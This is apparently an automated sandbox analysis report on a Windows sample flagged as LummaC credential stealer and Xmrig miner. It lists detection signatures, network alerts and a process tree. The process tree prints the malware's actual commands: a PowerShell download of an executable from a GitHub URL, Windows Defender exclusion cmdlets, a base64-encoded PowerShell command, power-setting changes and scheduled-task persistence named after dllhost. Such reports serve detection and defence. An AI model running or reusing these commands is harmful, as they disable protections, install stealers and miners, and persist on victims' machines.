Edit tour

Windows Analysis Report
Arly.exe1.exe

Overview

General Information

Sample name:	Arly.exe1.exe
Analysis ID:	1637280
MD5:	7cca34211a07de077586747453674386
SHA1:	43b59f17aa625e8d63aa8c5191eaf2383b1f2bc0
SHA256:	699c4fb429bc1751228bc9d115b65fb23b9ce2f4bf99f54bcb4e1da298616a86
Tags:	exeuser-TornadoAV_dev
Infos:

Detection

LummaC Stealer, Xmrig

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Schedule system process

Yara detected LummaC Stealer

Yara detected Xmrig cryptocurrency miner

Adds a directory exclusion to Windows Defender

Connects to a pastebin service (likely for C&C)

Encrypted powershell cmdline option found

Found API chain indicative of debugger detection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Joe Sandbox ML detected suspicious sample

Loading BitLocker PowerShell Module

Modifies power options to not sleep / hibernate

PE file has nameless sections

Powershell drops PE file

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample is not signed and drops a device driver

Sigma detected: Files With System Process Name In Unsuspected Locations

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Suspicious powershell command line found

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Uses powercfg.exe to modify the power settings

Uses schtasks.exe or at.exe to add and modify task schedules

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates driver files

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

PE file contains more sections than normal

PE file contains sections with non-standard names

PE file does not import any functions

PE file overlay found

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: PowerShell Web Download

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Execution of Powershell with Base64

Sigma detected: Usage Of Web Request Commands And Cmdlets

Suricata IDS alerts with low severity for network traffic

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

Arly.exe1.exe (PID: 7328 cmdline: "C:\Users\user\Desktop\Arly.exe1.exe" MD5: 7CCA34211A07DE077586747453674386)

conhost.exe (PID: 7348 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7648 cmdline: C:\Windows\system32\cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\dmikhsv', 'C:\Users', 'C:\ProgramData'" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

powershell.exe (PID: 7684 cmdline: powershell -Command "Add-MpPreference -ExclusionPath 'C:\dmikhsv', 'C:\Users', 'C:\ProgramData'" MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 8032 cmdline: C:\Windows\system32\cmd.exe /c powershell -Command "Invoke-WebRequest -Uri 'https://github.com/deripascod/coderoom/raw/refs/heads/main/notyhkkadaw.exe' -OutFile 'C:\dmikhsv\file_scaricato.exe'" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

powershell.exe (PID: 8048 cmdline: powershell -Command "Invoke-WebRequest -Uri 'https://github.com/deripascod/coderoom/raw/refs/heads/main/notyhkkadaw.exe' -OutFile 'C:\dmikhsv\file_scaricato.exe'" MD5: 04029E121A0CFA5991749937DD22A1D9)

file_scaricato.exe (PID: 5228 cmdline: "C:\dmikhsv\file_scaricato.exe" MD5: 554D420D25C37C69258386C6CA4C5896)

ZTXEX2709J4S3M888Q2LJG.exe (PID: 1792 cmdline: "C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe" MD5: C11A82D699A06D9B8BA4296E0C562AE4)

cmd.exe (PID: 1560 cmdline: "cmd.exe" /C powershell -EncodedCommand "PAAjAEoARQAwADAATAB0ADcAUgBEAG8AIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBlAHYAcAAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBMAHUARABuACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjADYAQQBlAGEAdABuACMAPgA=" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4992 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7904 cmdline: powershell -EncodedCommand "PAAjAEoARQAwADAATAB0ADcAUgBEAG8AIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBlAHYAcAAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBMAHUARABuACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjADYAQQBlAGEAdABuACMAPgA=" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

powercfg.exe (PID: 7676 cmdline: powercfg /x -hibernate-timeout-ac 0 MD5: 9D71DBDD3AD017EC69554ACF9CAADD05)

powercfg.exe (PID: 2016 cmdline: powercfg /x -hibernate-timeout-dc 0 MD5: 9D71DBDD3AD017EC69554ACF9CAADD05)

powercfg.exe (PID: 2288 cmdline: powercfg /x -standby-timeout-ac 0 MD5: 9D71DBDD3AD017EC69554ACF9CAADD05)

powercfg.exe (PID: 4012 cmdline: powercfg /x -standby-timeout-dc 0 MD5: 9D71DBDD3AD017EC69554ACF9CAADD05)

powercfg.exe (PID: 2684 cmdline: powercfg /hibernate off MD5: 9D71DBDD3AD017EC69554ACF9CAADD05)

cmd.exe (PID: 7496 cmdline: "cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3400 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 4940 cmdline: SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe" MD5: 48C2FE20575769DE916F48EF0676A965)

cmd.exe (PID: 1948 cmdline: "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk5482" /TR "C:\ProgramData\Dllhost\dllhost.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3272 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 1392 cmdline: SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk5482" /TR "C:\ProgramData\Dllhost\dllhost.exe" MD5: 48C2FE20575769DE916F48EF0676A965)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://harfanglab.io/insidethelab/unpacking-packxor/ https://www.akamai.com/blog/security-research/2024-php-exploit-cve-one-day-after-disclosure https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
0000000F.00000002.1730967623.0000000002A1B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000E.00000003.1555290056.0000000001583000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file_scaricato.exe PID: 5228	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: file_scaricato.exe PID: 5228	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file_scaricato.exe PID: 5228	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: ZTXEX2709J4S3M888Q2LJG.exe PID: 1792	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Click to see the 1 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
14.2.file_scaricato.exe.ba0000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
15.2.ZTXEX2709J4S3M888Q2LJG.exe.29d4f29.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security

Sigma Signatures

System Summary

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe, ProcessId: 1792, TargetFilename: C:\ProgramData\Dllhost\dllhost.exe

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Source: Process started

Author: Jonathan Cheong, oscd.community: Data: Command: C:\Windows\system32\cmd.exe /c powershell -Command "Invoke-WebRequest -Uri 'https://github.com/deripascod/coderoom/raw/refs/heads/main/notyhkkadaw.exe' -OutFile 'C:\dmikhsv\file_scaricato.exe'", CommandLine: C:\Windows\system32\cmd.exe /c powershell -Command "Invoke-WebRequest -Uri 'https://github.com/deripascod/coderoom/raw/refs/heads/main/notyhkkadaw.exe' -OutFile 'C:\dmikhsv\file_scaricato.exe'", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\Arly.exe1.exe", ParentImage: C:\Users\user\Desktop\Arly.exe1.exe, ParentProcessId: 7328, ParentProcessName: Arly.exe1.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c powershell -Command "Invoke-WebRequest -Uri 'https://github.com/deripascod/coderoom/raw/refs/heads/main/notyhkkadaw.exe' -OutFile 'C:\dmikhsv\file_scaricato.exe'", ProcessId: 8032, ProcessName: cmd.exe

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Source: Process started

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\dmikhsv', 'C:\Users', 'C:\ProgramData'", CommandLine: C:\Windows\system32\cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\dmikhsv', 'C:\Users', 'C:\ProgramData'", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\Arly.exe1.exe", ParentImage: C:\Users\user\Desktop\Arly.exe1.exe, ParentProcessId: 7328, ParentProcessName: Arly.exe1.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\dmikhsv', 'C:\Users', 'C:\ProgramData'", ProcessId: 7648, ProcessName: cmd.exe

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 8048, TargetFilename: C:\dmikhsv\file_scaricato.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c powershell -Command "Invoke-WebRequest -Uri 'https://github.com/deripascod/coderoom/raw/refs/heads/main/notyhkkadaw.exe' -OutFile 'C:\dmikhsv\file_scaricato.exe'", CommandLine: C:\Windows\system32\cmd.exe /c powershell -Command "Invoke-WebRequest -Uri 'https://github.com/deripascod/coderoom/raw/refs/heads/main/notyhkkadaw.exe' -OutFile 'C:\dmikhsv\file_scaricato.exe'", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\Arly.exe1.exe", ParentImage: C:\Users\user\Desktop\Arly.exe1.exe, ParentProcessId: 7328, ParentProcessName: Arly.exe1.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c powershell -Command "Invoke-WebRequest -Uri 'https://github.com/deripascod/coderoom/raw/refs/heads/main/notyhkkadaw.exe' -OutFile 'C:\dmikhsv\file_scaricato.exe'", ProcessId: 8032, ProcessName: cmd.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Author: frack113: Data: Command: powershell -EncodedCommand "PAAjAEoARQAwADAATAB0ADcAUgBEAG8AIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBlAHYAcAAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBMAHUARABuACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjADYAQQBlAGEAdABuACMAPgA=" , CommandLine: powershell -EncodedCommand "PAAjAEoARQAwADAATAB0ADcAUgBEAG8AIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBlAHYAcAAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBMAHUARABuACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjADYAQQBlAGEAdABuACMAPgA=" , CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "cmd.exe" /C powershell -EncodedCommand "PAAjAEoARQAwADAATAB0ADcAUgBEAG8AIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBlAHYAcAAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBMAHUARABuACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjADYAQQBlAGEAdABuACMAPgA=" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 1560, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -EncodedCommand "PAAjAEoARQAwADAATAB0ADcAUgBEAG8AIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBlAHYAcAAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBMAHUARABuACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjADYAQQBlAGEAdABuACMAPgA=" , ProcessId: 7904, ProcessName: powershell.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: C:\Windows\system32\cmd.exe /c powershell -Command "Invoke-WebRequest -Uri 'https://github.com/deripascod/coderoom/raw/refs/heads/main/notyhkkadaw.exe' -OutFile 'C:\dmikhsv\file_scaricato.exe'", CommandLine: C:\Windows\system32\cmd.exe /c powershell -Command "Invoke-WebRequest -Uri 'https://github.com/deripascod/coderoom/raw/refs/heads/main/notyhkkadaw.exe' -OutFile 'C:\dmikhsv\file_scaricato.exe'", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\Arly.exe1.exe", ParentImage: C:\Users\user\Desktop\Arly.exe1.exe, ParentProcessId: 7328, ParentProcessName: Arly.exe1.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c powershell -Command "Invoke-WebRequest -Uri 'https://github.com/deripascod/coderoom/raw/refs/heads/main/notyhkkadaw.exe' -OutFile 'C:\dmikhsv\file_scaricato.exe'", ProcessId: 8032, ProcessName: cmd.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -Command "Add-MpPreference -ExclusionPath 'C:\dmikhsv', 'C:\Users', 'C:\ProgramData'", CommandLine: powershell -Command "Add-MpPreference -ExclusionPath 'C:\dmikhsv', 'C:\Users', 'C:\ProgramData'", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\dmikhsv', 'C:\Users', 'C:\ProgramData'", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7648, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "Add-MpPreference -ExclusionPath 'C:\dmikhsv', 'C:\Users', 'C:\ProgramData'", ProcessId: 7684, ProcessName: powershell.exe

Persistence and Installation Behavior

Sigma detected: Schedule system process

Source: Process started

Author: Joe Security: Data: Command: "cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe", CommandLine: "cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe", ParentImage: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe, ParentProcessId: 1792, ParentProcessName: ZTXEX2709J4S3M888Q2LJG.exe, ProcessCommandLine: "cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe", ProcessId: 7496, ProcessName: cmd.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-13T13:40:07.832458+0100	2028371	3	Unknown Traffic	192.168.2.6	49701	104.21.112.1	443	TCP
2025-03-13T13:40:10.587903+0100	2028371	3	Unknown Traffic	192.168.2.6	49703	104.21.112.1	443	TCP
2025-03-13T13:40:13.169971+0100	2028371	3	Unknown Traffic	192.168.2.6	56146	104.21.112.1	443	TCP
2025-03-13T13:40:15.766918+0100	2028371	3	Unknown Traffic	192.168.2.6	56147	104.21.112.1	443	TCP
2025-03-13T13:40:18.377037+0100	2028371	3	Unknown Traffic	192.168.2.6	56148	104.21.112.1	443	TCP
2025-03-13T13:40:21.104468+0100	2028371	3	Unknown Traffic	192.168.2.6	56149	104.21.112.1	443	TCP
2025-03-13T13:40:25.896928+0100	2028371	3	Unknown Traffic	192.168.2.6	56150	104.21.112.1	443	TCP

ETPRO MALWARE Observed Request for xmrig.exe in - Coinminer Download

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-13T13:40:33.448019+0100	2829056	2	Crypto Currency Mining Activity Detected	192.168.2.6	56153	185.215.113.51	80	TCP

Joe Security ANOMALY Windows PowerShell HTTP PE File Download

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-13T13:40:00.448110+0100	1810003	2	Potentially Bad Traffic	185.199.108.133	443	192.168.2.6	49699	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-13T13:39:58.313626+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	49698	140.82.121.4	443	TCP
2025-03-13T13:40:00.328759+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	49699	185.199.108.133	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://crosshairc.life/dAnjhw	Avira URL Cloud: Label: malware
Source: https://crosshairc.life:443/dAnjhw	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\dmikhsv\file_scaricato.exe

Avira: detection malicious, Label: HEUR/AGEN.1314134

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe

ReversingLabs: Detection: 81%

Multi AV Scanner detection for submitted file

Source: Arly.exe1.exe	Virustotal: Detection: 22%			Perma Link
Source: Arly.exe1.exe	ReversingLabs: Detection: 15%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BBC907 CryptUnprotectData,CryptUnprotectData,	14_2_00BBC907
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BBBBD0 CryptUnprotectData,	14_2_00BBBBD0
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BBC907 CryptUnprotectData,CryptUnprotectData,	14_2_00BBC907

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match	File source: 15.2.ZTXEX2709J4S3M888Q2LJG.exe.29d4f29.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.1730967623.0000000002A1B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file_scaricato.exe PID: 5228, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ZTXEX2709J4S3M888Q2LJG.exe PID: 1792, type: MEMORYSTR

Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.6:49698 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.6:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.6:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.6:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.6:56146 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.6:56147 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.6:56148 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.6:56149 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.6:56150 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.6:56152 version: TLS 1.2

Source: Arly.exe1.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\Administrator\Desktop\Pch3lkinMinerBuilder\Task32Main\Task32Main\obj\Debug\Task32Main.pdb source: file_scaricato.exe, 0000000E.00000003.2090007117.000000000160F000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000002.3732558298.0000000001614000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.2090007117.00000000015DA000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.2090249387.0000000001611000.00000004.00000020.00020000.00000000.sdmp, ZTXEX2709J4S3M888Q2LJG.exe, 0000000F.00000000.1663387414.00000000004A2000.00000002.00000001.01000000.00000007.sdmp, ZTXEX2709J4S3M888Q2LJG.exe.14.dr
Source:	Binary string: d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb source: WinRing0x64.sys.15.dr
Source:	Binary string: C:\Users\danar\source\repos\reskapo\x64\Release\reskapo.pdb source: Arly.exe1.exe
Source:	Binary string: C:\Users\danar\source\repos\reskapo\x64\Release\reskapo.pdb5 source: Arly.exe1.exe

Source: C:\Users\user\Desktop\Arly.exe1.exe

Code function: 0_2_00007FF624709D44 FindFirstFileExW,

0_2_00007FF624709D44

Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then movzx eax, word ptr [esi]	14_2_00BAF2DB
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx-5E8897A6h]	14_2_00BED380
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+0Ch]	14_2_00BC14D0
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+2Ch]	14_2_00BC14D0
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-51131DAEh]	14_2_00BCF610
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then mov ebp, dword ptr [ecx+edx+3Ch]	14_2_00BE7840
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-5EFC0AFAh]	14_2_00BE991B
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+18h]	14_2_00BBC907
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then lea esi, dword ptr [eax-000000ECh]	14_2_00BABA30
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then push edi	14_2_00BAEA60
Source: C:\dmikhsv\file_scaricato.exe	Code function: 4x nop then push 00000000h	14_2_00BBBBD0
